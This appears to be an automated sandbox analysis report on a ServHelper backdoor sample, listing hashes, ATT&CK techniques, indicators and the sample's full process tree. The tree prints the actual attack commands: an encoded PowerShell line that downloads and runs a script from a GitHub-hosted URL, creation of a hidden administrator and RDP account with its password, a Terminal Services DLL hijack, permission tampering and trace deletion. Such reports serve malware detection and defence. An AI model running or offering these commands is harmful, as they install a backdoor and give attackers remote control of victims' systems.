servhelper | 031527224e74b82bf16e639c666134674ecc8a6e648fed2f68255617bd6a3b18

Analysis

max time kernel
138s
max time network
125s
platform
windows7_x64
resource
win7-20240729-en
resource tags

arch:x64arch:x86image:win7-20240729-enlocale:en-usos:windows7-x64system
submitted
22-12-2024 20:42

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

6c4aab4c3bd1ba8f77a781d70ecbc1b4c7dfd9d3c7ad60158fb8d35d1d4246e2.exe
Size

4.6MB
MD5

eaee663dfeb2efcd9ec669f5622858e2
SHA1

2b96f0d568128240d0c53b2a191467fde440fd93
SHA256

6c4aab4c3bd1ba8f77a781d70ecbc1b4c7dfd9d3c7ad60158fb8d35d1d4246e2
SHA512

211951f053ddecc6e0545a83119112d6ad375e226437d6a26ed493b362e51da3718131d59fb045c9b2feea91e04d3b82e9be4e52a46fe2e84ed4f3b4ed2213b3
SSDEEP

49152:U8+7QhuKuy4ab57x03AFPd96gUyeBW51fN4AsYfW4sAMnB4jt40bjqkNQU1:U8puFyft

Score

10^/10

servhelper backdoor defense_evasion discovery execution exploit lateral_movement persistence trojan upx

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

ps1.dropper

https://raw.githubusercontent.com/sqlitey/sqlite/master/speed.ps1

Signatures

ServHelper
ServHelper is a backdoor written in Delphi and is associated with the hacking group TA505.
trojan backdoor servhelper
Servhelper family
servhelper
Grants admin privileges 1 TTPs
Uses net.exe to modify the user's privileges.

Account Manipulation
T1098

Remote Service Session Hijacking: RDP Hijacking 1 TTPs 6 IoCs

Adversaries may hijack a legitimate user's remote desktop session to move laterally within an environment.

lateral_movement

RDP Hijacking

T1563.002

pid	Process
1808	cmd.exe
1244	net.exe
2064	net1.exe
2252	cmd.exe
1708	net.exe
1800	net1.exe

Blocklisted process makes network request 2 IoCs

flow	pid	Process
5	2780	powershell.exe
6	2780	powershell.exe

Indicator Removal: Network Share Connection Removal 1 TTPs 3 IoCs

Adversaries may remove share connections that are no longer useful in order to clean up traces of their operation.

defense_evasion

Network Share Connection Removal

T1070.005

pid	Process
1144	net.exe
1548	net1.exe
2204	cmd.exe

Modifies RDP port number used by Windows 1 TTPs

Remote Desktop Protocol
T1021.001

Possible privilege escalation attempt 8 IoCs

exploit

pid	Process
2620	icacls.exe
1064	icacls.exe
1948	icacls.exe
1860	icacls.exe
2996	icacls.exe
844	icacls.exe
2912	takeown.exe
2952	icacls.exe

Server Software Component: Terminal Services DLL 1 TTPs 1 IoCs

persistence

Terminal Services DLL

T1505.005

description	ioc	Process
Set value (str)	\REGISTRY\MACHINE\SYSTEM\ControlSet001\services\TermService\Parameters\ServiceDLL = "C:\\Windows\\branding\\mediasrv.png"	reg.exe

Loads dropped DLL 2 IoCs

pid	Process
1796	Process not Found
1796	Process not Found

Modifies file permissions 1 TTPs 8 IoCs

discovery

File and Directory Permissions Modification

T1222

pid	Process
844	icacls.exe
2912	takeown.exe
2952	icacls.exe
2620	icacls.exe
1064	icacls.exe
1948	icacls.exe
1860	icacls.exe
2996	icacls.exe

Indicator Removal: File Deletion 1 TTPs
Adversaries may delete files left behind by the actions of their intrusion activity.
defense_evasion

File Deletion
T1070.004

Legitimate hosting services abused for malware hosting/C2 1 TTPs 3 IoCs

Web Service

T1102

flow	ioc
4	raw.githubusercontent.com
5	raw.githubusercontent.com
6	raw.githubusercontent.com

Drops file in System32 directory 1 IoCs

description	ioc	Process
File created	C:\Windows\system32\rfxvmt.dll	powershell.exe

UPX packed file 2 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral22/files/0x0009000000019cca-77.dat	upx
behavioral22/files/0x0004000000004ed7-78.dat	upx

Drops file in Windows directory 9 IoCs

description	ioc	Process
File opened for modification	C:\Windows\branding\mediasvc.png	powershell.exe
File created	C:\Windows\branding\wupsvc.jpg	powershell.exe
File opened for modification	C:\Windows\branding\Basebrd	powershell.exe
File opened for modification	C:\Windows\branding\ShellBrd	powershell.exe
File opened for modification	C:\Windows\branding\wupsvc.jpg	powershell.exe
File created	C:\Windows\ServiceProfiles\NetworkService\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\M4XS120DAIX3T5A64TLQ.temp	powershell.exe
File created	C:\Windows\branding\mediasrv.png	powershell.exe
File created	C:\Windows\branding\mediasvc.png	powershell.exe
File opened for modification	C:\Windows\branding\mediasrv.png	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 4 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
2764	powershell.exe
2776	powershell.exe
2708	powershell.exe
2780	powershell.exe

Permission Groups Discovery: Local Groups 1 TTPs
Attempt to find local system groups and permission settings.
discovery

Local Groups
T1069.001

Detects videocard installed 1 TTPs 1 IoCs

Uses WMIC.exe to determine videocard installed.

System Information Discovery

T1082

pid	Process
1584	WMIC.exe

Modifies data under HKEY_USERS 4 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\	WMIC.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\	WMIC.exe
Key created	\REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\StartPage	powershell.exe
Set value (data)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Explorer\StartPage\StartMenu_Start_Time = 9057c30cb254db01	powershell.exe

Modifies registry key 1 TTPs 1 IoCs

Modify Registry

T1112

pid	Process
2160	reg.exe

Runs net.exe

Suspicious behavior: EnumeratesProcesses 8 IoCs

pid	Process
1932	powershell.exe
2764	powershell.exe
2776	powershell.exe
2708	powershell.exe
1932	powershell.exe
1932	powershell.exe
1932	powershell.exe
2780	powershell.exe

Suspicious behavior: LoadsDriver 6 IoCs

pid	Process
480	Process not Found
1796	Process not Found
1796	Process not Found
1796	Process not Found
1796	Process not Found
1796	Process not Found

Suspicious use of AdjustPrivilegeToken 18 IoCs

description	pid	Process
Token: SeDebugPrivilege	1932	powershell.exe
Token: SeDebugPrivilege	2764	powershell.exe
Token: SeDebugPrivilege	2776	powershell.exe
Token: SeDebugPrivilege	2708	powershell.exe
Token: SeRestorePrivilege	2620	icacls.exe
Token: SeAssignPrimaryTokenPrivilege	1584	WMIC.exe
Token: SeIncreaseQuotaPrivilege	1584	WMIC.exe
Token: SeAuditPrivilege	1584	WMIC.exe
Token: SeAssignPrimaryTokenPrivilege	1584	WMIC.exe
Token: SeIncreaseQuotaPrivilege	1584	WMIC.exe
Token: SeAuditPrivilege	1584	WMIC.exe
Token: SeAssignPrimaryTokenPrivilege	2212	WMIC.exe
Token: SeIncreaseQuotaPrivilege	2212	WMIC.exe
Token: SeAuditPrivilege	2212	WMIC.exe
Token: SeAssignPrimaryTokenPrivilege	2212	WMIC.exe
Token: SeIncreaseQuotaPrivilege	2212	WMIC.exe
Token: SeAuditPrivilege	2212	WMIC.exe
Token: SeDebugPrivilege	2780	powershell.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 2592 wrote to memory of 1932	2592	6c4aab4c3bd1ba8f77a781d70ecbc1b4c7dfd9d3c7ad60158fb8d35d1d4246e2.exe	30
PID 2592 wrote to memory of 1932	2592	6c4aab4c3bd1ba8f77a781d70ecbc1b4c7dfd9d3c7ad60158fb8d35d1d4246e2.exe	30
PID 2592 wrote to memory of 1932	2592	6c4aab4c3bd1ba8f77a781d70ecbc1b4c7dfd9d3c7ad60158fb8d35d1d4246e2.exe	30
PID 1932 wrote to memory of 2236	1932	powershell.exe	32
PID 1932 wrote to memory of 2236	1932	powershell.exe	32
PID 1932 wrote to memory of 2236	1932	powershell.exe	32
PID 2236 wrote to memory of 2760	2236	csc.exe	34
PID 2236 wrote to memory of 2760	2236	csc.exe	34
PID 2236 wrote to memory of 2760	2236	csc.exe	34
PID 1932 wrote to memory of 2764	1932	powershell.exe	35
PID 1932 wrote to memory of 2764	1932	powershell.exe	35
PID 1932 wrote to memory of 2764	1932	powershell.exe	35
PID 1932 wrote to memory of 2776	1932	powershell.exe	37
PID 1932 wrote to memory of 2776	1932	powershell.exe	37
PID 1932 wrote to memory of 2776	1932	powershell.exe	37
PID 1932 wrote to memory of 2708	1932	powershell.exe	39
PID 1932 wrote to memory of 2708	1932	powershell.exe	39
PID 1932 wrote to memory of 2708	1932	powershell.exe	39
PID 1932 wrote to memory of 2912	1932	powershell.exe	42
PID 1932 wrote to memory of 2912	1932	powershell.exe	42
PID 1932 wrote to memory of 2912	1932	powershell.exe	42
PID 1932 wrote to memory of 2952	1932	powershell.exe	43
PID 1932 wrote to memory of 2952	1932	powershell.exe	43
PID 1932 wrote to memory of 2952	1932	powershell.exe	43
PID 1932 wrote to memory of 2620	1932	powershell.exe	44
PID 1932 wrote to memory of 2620	1932	powershell.exe	44
PID 1932 wrote to memory of 2620	1932	powershell.exe	44
PID 1932 wrote to memory of 1064	1932	powershell.exe	45
PID 1932 wrote to memory of 1064	1932	powershell.exe	45
PID 1932 wrote to memory of 1064	1932	powershell.exe	45
PID 1932 wrote to memory of 1948	1932	powershell.exe	46
PID 1932 wrote to memory of 1948	1932	powershell.exe	46
PID 1932 wrote to memory of 1948	1932	powershell.exe	46
PID 1932 wrote to memory of 1860	1932	powershell.exe	47
PID 1932 wrote to memory of 1860	1932	powershell.exe	47
PID 1932 wrote to memory of 1860	1932	powershell.exe	47
PID 1932 wrote to memory of 2996	1932	powershell.exe	48
PID 1932 wrote to memory of 2996	1932	powershell.exe	48
PID 1932 wrote to memory of 2996	1932	powershell.exe	48
PID 1932 wrote to memory of 844	1932	powershell.exe	49
PID 1932 wrote to memory of 844	1932	powershell.exe	49
PID 1932 wrote to memory of 844	1932	powershell.exe	49
PID 1932 wrote to memory of 1280	1932	powershell.exe	50
PID 1932 wrote to memory of 1280	1932	powershell.exe	50
PID 1932 wrote to memory of 1280	1932	powershell.exe	50
PID 1932 wrote to memory of 2160	1932	powershell.exe	51
PID 1932 wrote to memory of 2160	1932	powershell.exe	51
PID 1932 wrote to memory of 2160	1932	powershell.exe	51
PID 1932 wrote to memory of 1628	1932	powershell.exe	52
PID 1932 wrote to memory of 1628	1932	powershell.exe	52
PID 1932 wrote to memory of 1628	1932	powershell.exe	52
PID 1932 wrote to memory of 1060	1932	powershell.exe	53
PID 1932 wrote to memory of 1060	1932	powershell.exe	53
PID 1932 wrote to memory of 1060	1932	powershell.exe	53
PID 1060 wrote to memory of 2168	1060	net.exe	54
PID 1060 wrote to memory of 2168	1060	net.exe	54
PID 1060 wrote to memory of 2168	1060	net.exe	54
PID 1932 wrote to memory of 2556	1932	powershell.exe	55
PID 1932 wrote to memory of 2556	1932	powershell.exe	55
PID 1932 wrote to memory of 2556	1932	powershell.exe	55
PID 2556 wrote to memory of 2552	2556	cmd.exe	56
PID 2556 wrote to memory of 2552	2556	cmd.exe	56
PID 2556 wrote to memory of 2552	2556	cmd.exe	56
PID 2552 wrote to memory of 2308	2552	cmd.exe	57

C:\Users\Admin\AppData\Local\Temp\6c4aab4c3bd1ba8f77a781d70ecbc1b4c7dfd9d3c7ad60158fb8d35d1d4246e2.exe
"C:\Users\Admin\AppData\Local\Temp\6c4aab4c3bd1ba8f77a781d70ecbc1b4c7dfd9d3c7ad60158fb8d35d1d4246e2.exe"
1⤵
- Suspicious use of WriteProcessMemory
PID:2592
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" -ep bypass & 'C:\Users\Admin\AppData\Local\Temp\\ready.ps1'
  2⤵
  - Drops file in System32 directory
  - Drops file in Windows directory
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:1932
- - C:\Windows\Microsoft.NET\Framework64\v2.0.50727\csc.exe
    "C:\Windows\Microsoft.NET\Framework64\v2.0.50727\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\69hgcwwp.cmdline"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:2236
  - - C:\Windows\Microsoft.NET\Framework64\v2.0.50727\cvtres.exe
      C:\Windows\Microsoft.NET\Framework64\v2.0.50727\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RESDA68.tmp" "c:\Users\Admin\AppData\Local\Temp\CSCDA67.tmp"
      4⤵
      PID:2760
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -s -NoLogo -NoProfile
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:2764
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -s -NoLogo -NoProfile
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:2776
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -s -NoLogo -NoProfile
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:2708
- - C:\Windows\system32\takeown.exe
    "C:\Windows\system32\takeown.exe" /A /F rfxvmt.dll
    3⤵
    - Possible privilege escalation attempt
    - Modifies file permissions
    PID:2912
- - C:\Windows\system32\icacls.exe
    "C:\Windows\system32\icacls.exe" rfxvmt.dll /inheritance:d
    3⤵
    - Possible privilege escalation attempt
    - Modifies file permissions
    PID:2952
- - C:\Windows\system32\icacls.exe
    "C:\Windows\system32\icacls.exe" rfxvmt.dll /setowner "NT SERVICE\TrustedInstaller"
    3⤵
    - Possible privilege escalation attempt
    - Modifies file permissions
    - Suspicious use of AdjustPrivilegeToken
    PID:2620
- - C:\Windows\system32\icacls.exe
    "C:\Windows\system32\icacls.exe" rfxvmt.dll /grant "NT SERVICE\TrustedInstaller:F"
    3⤵
    - Possible privilege escalation attempt
    - Modifies file permissions
    PID:1064
- - C:\Windows\system32\icacls.exe
    "C:\Windows\system32\icacls.exe" rfxvmt.dll /remove "NT AUTHORITY\SYSTEM"
    3⤵
    - Possible privilege escalation attempt
    - Modifies file permissions
    PID:1948
- - C:\Windows\system32\icacls.exe
    "C:\Windows\system32\icacls.exe" rfxvmt.dll /grant "NT AUTHORITY\SYSTEM:RX"
    3⤵
    - Possible privilege escalation attempt
    - Modifies file permissions
    PID:1860
- - C:\Windows\system32\icacls.exe
    "C:\Windows\system32\icacls.exe" rfxvmt.dll /remove BUILTIN\Administrators
    3⤵
    - Possible privilege escalation attempt
    - Modifies file permissions
    PID:2996
- - C:\Windows\system32\icacls.exe
    "C:\Windows\system32\icacls.exe" rfxvmt.dll /grant BUILTIN\Administrators:RX
    3⤵
    - Possible privilege escalation attempt
    - Modifies file permissions
    PID:844
- - C:\Windows\system32\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\System\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp" /v PortNumber /t REG_DWORD /d 0x1C21 /f
    3⤵
    PID:1280
- - C:\Windows\system32\reg.exe
    "C:\Windows\system32\reg.exe" add HKLM\system\currentcontrolset\services\TermService\parameters /v ServiceDLL /t REG_EXPAND_SZ /d C:\Windows\branding\mediasrv.png /f
    3⤵
    - Server Software Component: Terminal Services DLL
    - Modifies registry key
    PID:2160
- - C:\Windows\system32\reg.exe
    "C:\Windows\system32\reg.exe" add "HKLM\SOFTWARE\Policies\Microsoft\Windows NT\Terminal Services" /v fEnableWddmDriver /t reg_dword /d 0 /f
    3⤵
    PID:1628
- - C:\Windows\system32\net.exe
    "C:\Windows\system32\net.exe" localgroup Administrators "NT AUTHORITY\NETWORK SERVICE" /add
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:1060
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 localgroup Administrators "NT AUTHORITY\NETWORK SERVICE" /add
      4⤵
      PID:2168
- - C:\Windows\system32\cmd.exe
    "C:\Windows\system32\cmd.exe" /c cmd /c net start rdpdr
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:2556
  - - C:\Windows\system32\cmd.exe
      cmd /c net start rdpdr
      4⤵
      Suspicious use of WriteProcessMemory
      PID:2552
    - - C:\Windows\system32\net.exe
        
        net start rdpdr
        5⤵
        
        PID:2308
      - C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 start rdpdr
        6⤵
        
        PID:2572
- - C:\Windows\system32\cmd.exe
    "C:\Windows\system32\cmd.exe" /c cmd /c net start TermService
    3⤵
    PID:2532
  - - C:\Windows\system32\cmd.exe
      cmd /c net start TermService
      4⤵
      PID:1736
    - - C:\Windows\system32\net.exe
        
        net start TermService
        5⤵
        
        PID:1476
      - C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 start TermService
        6⤵
        
        PID:1048
- - C:\Windows\system32\cmd.exe
    "C:\Windows\system32\cmd.exe" /c del %temp%\*.ps1 /f
    3⤵
    PID:2288
- - C:\Windows\system32\cmd.exe
    "C:\Windows\system32\cmd.exe" /c del %temp%\*.txt /f
    3⤵
    PID:2492

C:\Windows\System32\cmd.exe
cmd /C net.exe user WgaUtilAcc 000000 /del
1⤵
- Indicator Removal: Network Share Connection Removal
PID:2204
- C:\Windows\system32\net.exe
  net.exe user WgaUtilAcc 000000 /del
  2⤵
  - Indicator Removal: Network Share Connection Removal
  PID:1144
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 user WgaUtilAcc 000000 /del
    3⤵
    - Indicator Removal: Network Share Connection Removal
    PID:1548

C:\Windows\System32\cmd.exe
cmd /C net.exe user WgaUtilAcc ZS1dJ2Zl /add
1⤵
PID:820
- C:\Windows\system32\net.exe
  net.exe user WgaUtilAcc ZS1dJ2Zl /add
  2⤵
  PID:1264
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 user WgaUtilAcc ZS1dJ2Zl /add
    3⤵
    PID:2180

C:\Windows\System32\cmd.exe
cmd /C net.exe LOCALGROUP "Remote Desktop Users" WgaUtilAcc /ADD
1⤵
- Remote Service Session Hijacking: RDP Hijacking
PID:1808
- C:\Windows\system32\net.exe
  net.exe LOCALGROUP "Remote Desktop Users" WgaUtilAcc /ADD
  2⤵
  - Remote Service Session Hijacking: RDP Hijacking
  PID:1244
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 LOCALGROUP "Remote Desktop Users" WgaUtilAcc /ADD
    3⤵
    - Remote Service Session Hijacking: RDP Hijacking
    PID:2064

C:\Windows\System32\cmd.exe
cmd /C net.exe LOCALGROUP "Remote Desktop Users" XECUDNCD$ /ADD
1⤵
- Remote Service Session Hijacking: RDP Hijacking
PID:2252
- C:\Windows\system32\net.exe
  net.exe LOCALGROUP "Remote Desktop Users" XECUDNCD$ /ADD
  2⤵
  - Remote Service Session Hijacking: RDP Hijacking
  PID:1708
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 LOCALGROUP "Remote Desktop Users" XECUDNCD$ /ADD
    3⤵
    - Remote Service Session Hijacking: RDP Hijacking
    PID:1800

C:\Windows\System32\cmd.exe
cmd /C net.exe LOCALGROUP "Administrators" WgaUtilAcc /ADD
1⤵
PID:1004
- C:\Windows\system32\net.exe
  net.exe LOCALGROUP "Administrators" WgaUtilAcc /ADD
  2⤵
  PID:1652
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 LOCALGROUP "Administrators" WgaUtilAcc /ADD
    3⤵
    PID:2356

C:\Windows\System32\cmd.exe
cmd /C net.exe user WgaUtilAcc ZS1dJ2Zl
1⤵
PID:2612
- C:\Windows\system32\net.exe
  net.exe user WgaUtilAcc ZS1dJ2Zl
  2⤵
  PID:532
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 user WgaUtilAcc ZS1dJ2Zl
    3⤵
    PID:1696

C:\Windows\System32\cmd.exe
cmd.exe /C wmic path win32_VideoController get name
1⤵
PID:2116
- C:\Windows\System32\Wbem\WMIC.exe
  wmic path win32_VideoController get name
  2⤵
  - Detects videocard installed
  - Modifies data under HKEY_USERS
  - Suspicious use of AdjustPrivilegeToken
  PID:1584

C:\Windows\System32\cmd.exe
cmd.exe /C wmic CPU get NAME
1⤵
PID:2464
- C:\Windows\System32\Wbem\WMIC.exe
  wmic CPU get NAME
  2⤵
  - Modifies data under HKEY_USERS
  - Suspicious use of AdjustPrivilegeToken
  PID:2212

C:\Windows\System32\cmd.exe
cmd.exe /C cmd /C powershell -ep bypass -NoProfile -outputformat text -nologo -noninteractive -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAcwA6AC8ALwByAGEAdwAuAGcAaQB0AGgAdQBiAHUAcwBlAHIAYwBvAG4AdABlAG4AdAAuAGMAbwBtAC8AcwBxAGwAaQB0AGUAeQAvAHMAcQBsAGkAdABlAC8AbQBhAHMAdABlAHIALwBzAHAAZQBlAGQALgBwAHMAMQAiACkA
1⤵
PID:2904
- C:\Windows\system32\cmd.exe
  cmd /C powershell -ep bypass -NoProfile -outputformat text -nologo -noninteractive -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAcwA6AC8ALwByAGEAdwAuAGcAaQB0AGgAdQBiAHUAcwBlAHIAYwBvAG4AdABlAG4AdAAuAGMAbwBtAC8AcwBxAGwAaQB0AGUAeQAvAHMAcQBsAGkAdABlAC8AbQBhAHMAdABlAHIALwBzAHAAZQBlAGQALgBwAHMAMQAiACkA
  2⤵
  PID:2768
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -ep bypass -NoProfile -outputformat text -nologo -noninteractive -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAcwA6AC8ALwByAGEAdwAuAGcAaQB0AGgAdQBiAHUAcwBlAHIAYwBvAG4AdABlAG4AdAAuAGMAbwBtAC8AcwBxAGwAaQB0AGUAeQAvAHMAcQBsAGkAdABlAC8AbQBhAHMAdABlAHIALwBzAHAAZQBlAGQALgBwAHMAMQAiACkA
    3⤵
    - Blocklisted process makes network request
    - Drops file in Windows directory
    - Command and Scripting Interpreter: PowerShell
    - Modifies data under HKEY_USERS
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:2780

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Account Manipulation

T1098

Server Software Component

T1505

Terminal Services DLL

T1505.005

Privilege Escalation

Account Manipulation

T1098

Defense Evasion

File and Directory Permissions Modification

T1222

Indicator Removal

T1070

File Deletion

T1070.004

Network Share Connection Removal

T1070.005

Modify Registry

T1112

Credential Access

Discovery

Permission Groups Discovery

T1069

Local Groups

T1069.001

System Information Discovery

T1082

Lateral Movement

Remote Service Session Hijacking

T1563

RDP Hijacking

T1563.002

Remote Services

T1021

Remote Desktop Protocol

T1021.001

Collection

Command and Control

Web Service

T1102

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\AppData\Local\Temp\69hgcwwp.dll

Filesize
3KB

MD5
5b86a811d608549111e67999ab2fdd5a

SHA1
22faf7c73c059502e7b2efbc05ac2f766e47e8ea

SHA256
be1dfcbaa97a83c6f75a1a2a53d98f9e3b9d79ab3e323ad73ce7e9219481fb11

SHA512
6fea052c690b6d32eebd41e3f1e26011c2bf2b356047a14bdc3c316ebbf13841110c2a304df30bdef4b04e7c7a881f694acdeb76e0cf19e145f73a78b89bdfd8

Download Submit
C:\Users\Admin\AppData\Local\Temp\69hgcwwp.pdb

Filesize
7KB

MD5
aa93d92f321eff95921cc903806b7d80

SHA1
e031fe96ed6af9487861198083544194735430dd

SHA256
9ee11b66c679209a2d1ec910f1371599564bc9ee0ab705295654fe06447cb7c6

SHA512
b3cb34883afbb45f9995a37decc9a8f2e1bc45ff56a825240ff3fd113c376e16b831ecec7cfdf6731b106d2d7946231eafd9e4a62a06ad8e69ef185f3b78b701

Download Submit
C:\Users\Admin\AppData\Local\Temp\RESDA68.tmp

Filesize
1KB

MD5
6751f7bf84995e9938222663bb6468bc

SHA1
8217726a7c114cc510bff7bfbd6e087249a927e2

SHA256
61c9ab1e446636a554e0c844fe5c22954f1308527aa0d63e015e1f31b7377629

SHA512
bb526f7e7d73940be8804e04d52ef98f13faa8f84cbdc9c3dc2d6401049efdf307584d3b657ba51d81459f5ca06e70e92c559dd5bab21e55b20cb207306d4bf2

Download Submit
C:\Users\Admin\AppData\Local\Temp\ready.ps1

Filesize
1KB

MD5
3447df88de7128bdc34942334b2fab98

SHA1
519be4e532fc53a7b8fe2ae21c9b7e35f923d3bb

SHA256
9520067abc34ce8a4b7931256e4ca15f889ef61750ca8042f60f826cb6cb2ac9

SHA512
2ccf6c187c3e17918daadd1fc7ca6e7dfaf6b958468a9867cca233e3506906164dfeb6104c8324e09d3058b090eab22417695b001ddb84f3d98562aec05eb78f

Download Submit
C:\Users\Admin\AppData\Local\Temp\resolve-domain.PS1

Filesize
2.5MB

MD5
43473f4e719958639a9d89e5d8388999

SHA1
ccb79eb606a23daa4b3ff8f996a2fbf281f31491

SHA256
ce84b142a2983e1f60b3051cbff38153424a016178ce3fcf703e3694eb474734

SHA512
1051092c5eae13758e8e01086907effc5c603cc1f9456fb2cdb951cb4b196c5c3d089ffd2e981b5d6731b0e6b24402fb2808a20f66ac6dcb1704a8f4b457b1fa

Download Submit
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms

Filesize
7KB

MD5
e8dbe28ca861831fd6f87045028e75a8

SHA1
ef745aa8cef8d9bc90b77885aaf89ef92e0711cd

SHA256
31dfc2616bd3eeee8934306fc9a26d0c19f35d6bdd0b46f447be45ef4de2fd62

SHA512
864c3301b4aba9cbad89f9234b272788b317cb72853dfde14b80e533b502c9c004eccd073669d26e5f8ab07367b29d8b7f4a1d7d0d865273aa455a4b655d1527

Download Submit
C:\Windows\system32\rfxvmt.dll

Filesize
40KB

MD5
dc39d23e4c0e681fad7a3e1342a2843c

SHA1
58fd7d50c2dca464a128f5e0435d6f0515e62073

SHA256
6d9a41a03a3bd5362e3af24f97ba99d2f9927d1375e4f608942a712866d133b9

SHA512
5cb75e04ce9f5c3714e30c4fd5b8dbcd3952c3d756556dd76206111fe5b4e980c6c50209ab0914ab3afe15bd9c33ff0d49463ca11547214122859918de2a58f7

Download Submit
\??\c:\Users\Admin\AppData\Local\Temp\69hgcwwp.0.cs

Filesize
424B

MD5
4864fc038c0b4d61f508d402317c6e9a

SHA1
72171db3eea76ecff3f7f173b0de0d277b0fede7

SHA256
0f5273b8fce9bfd95677be80b808119c048086f8e17b2e9f9964ae8971bd5a84

SHA512
9e59e8bee83e783f8054a3ba90910415edacfa63cc19e5ded9d4f21f7c3005ca48c63d85ce8523a5f7d176aa5f8abafc28f824c10dbfb254eed1ce6e5f55bf31

Download Submit
\??\c:\Users\Admin\AppData\Local\Temp\69hgcwwp.cmdline

Filesize
309B

MD5
1d1797c296fe90499855b42d474576d1

SHA1
ee72e17ef402eccf8e8b9cc0be32d0e9d4c6b26d

SHA256
27d668e6d05f0b6c2b05a27b8e3bd955fb3d1a567bfba3dbb0089b1b7402c4e7

SHA512
812e222377713a2be07d137ad652f4a1a74d220ba10e95ac215fe924497ce208bc07a90dd942fe6851c518149200752973e59a4088c92624b18d3a385cffa3fe

Download Submit
\??\c:\Users\Admin\AppData\Local\Temp\CSCDA67.tmp

Filesize
652B

MD5
f6f60a5d4b8aed4803fcdf14ec4fd574

SHA1
61dd19a5384a566d5ab959cf2cc08023dfa802d9

SHA256
00a0ce1324266ec932ea9159a3addd6ed3805940c26af55269ba8bb029f863b7

SHA512
bf79fc0b9675c706e8cbdfe3bfc081049a6122fec7bffbda214c669868a265d7b87ec59c19f85f6b6cc42c00f86a2daff1b6d3a546b943880a5aea009b8fc7c0

Download Submit
\Windows\Branding\mediasrv.png

Filesize
60KB

MD5
271eacd9c9ec8531912e043bc9c58a31

SHA1
c86e20c2a10fd5c5bae4910a73fd62008d41233b

SHA256
177d6aab26c15ecf87f29f92ad0eaff355d195de1c0ef17d9cb9b7483c288934

SHA512
87375d3e0c2505ff8d5860db4a9a2cbb88da73f492f2be937b1dfd1afa37133061b7c69121727728835eaf545ce1850ec4889bad33366b8d4dadd7838af791c0

Download Submit
\Windows\Branding\mediasvc.png

Filesize
743KB

MD5
1fa9c1e185a51b6ed443dd782b880b0d

SHA1
50145abf336a196183882ef960d285bd77dd3490

SHA256
f25560518e8bebbc0abdde4c0241833e432ad4c56f934bb18067c1abf7305959

SHA512
16bd50a904fa062f8ec6e41f00000da5d0221164c3eda90bc1791e195b25ef74bb9e1264d7536c204f9a01ca1489ae43484ceb1e7bb4f650aacf90fa16f1c9fc

Download Submit
